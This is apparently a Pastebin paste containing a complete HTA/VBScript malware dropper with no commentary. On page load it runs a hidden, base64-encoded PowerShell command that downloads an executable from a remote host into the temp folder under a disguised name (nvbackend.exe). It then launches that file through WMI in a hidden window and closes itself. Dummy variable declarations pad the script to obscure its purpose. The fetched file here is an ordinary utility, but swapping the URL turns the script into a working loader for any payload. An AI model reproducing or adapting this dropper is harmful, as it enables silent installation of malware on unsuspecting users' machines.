Advertisement
Guest User

Untitled

a guest
May 12th, 2019
727
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script language="VBScript">
  2. Function var_Beinjaman()
  3. Dim Dunjalar1212
  4. Dim Dunjalar12121
  5. Dim Dunjalar12122
  6. Dim Dunjalar12123
  7. Dim Dunjalar12124
  8. Set Dunjalar1212 = CreateObject("Wscript.Shell")
  9. Dim Dunjalar12125
  10. Dim Dunjalar12126
  11. Dim Dunjalar12127
  12. Dim Dunjalar12128
  13. temp = Dunjalar1212.expandEnvironmentStrings("%temp%")
  14. Dim Dunjalar12129
  15. Dim Dunjalar121210
  16. Dim Dunjalar121211
  17. Dim Dunjalar121212
  18. Dim Dunjalar121213
  19. Dim Dunjalar121214
  20. Dunjalar1212.run "powershell -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdABoAGUALgBlAGEAcgB0AGgALgBsAGkALwB+AHMAZwB0AGEAdABoAGEAbQAvAHAAdQB0AHQAeQAvAGwAYQB0AGUAcwB0AC8AdwA2ADQALwBwAHUAdAB0AHkALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAdABlAG0AcABcAG4AdgBiAGEAYwBrAGUAbgBkAC4AZQB4AGUAIgApACkAOwA=", 0, true
  21. Dim Dunjalar121215
  22. Dim Dunjalar121216
  23. Dim Dunjalar121217
  24. Dim Dunjalar121218
  25. End Function
  26. Sub window_onload
  27. const impersonation = 3
  28. Const HIDDEN_WINDOW = 12
  29. Set Locator = CreateObject("WbemScripting.SWbemLocator")
  30. Set Service = Locator.ConnectServer()
  31. Service.Security_.ImpersonationLevel=impersonation
  32. Set objStartup = Service.Get("Win32_ProcessStartup")
  33. Set objConfig = objStartup.SpawnInstance_
  34. objConfig.ShowWindow = HIDDEN_WINDOW
  35. Set Process = Service.Get("Win32_Process")
  36. Error = Process.Create("cmd /c %temp%\nvbackend.exe", null, objConfig, intProcessID)
  37. window.close()
  38. end sub
  39.  
  40.  
  41. var_Beinjaman
  42. self.close
  43. </script>
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement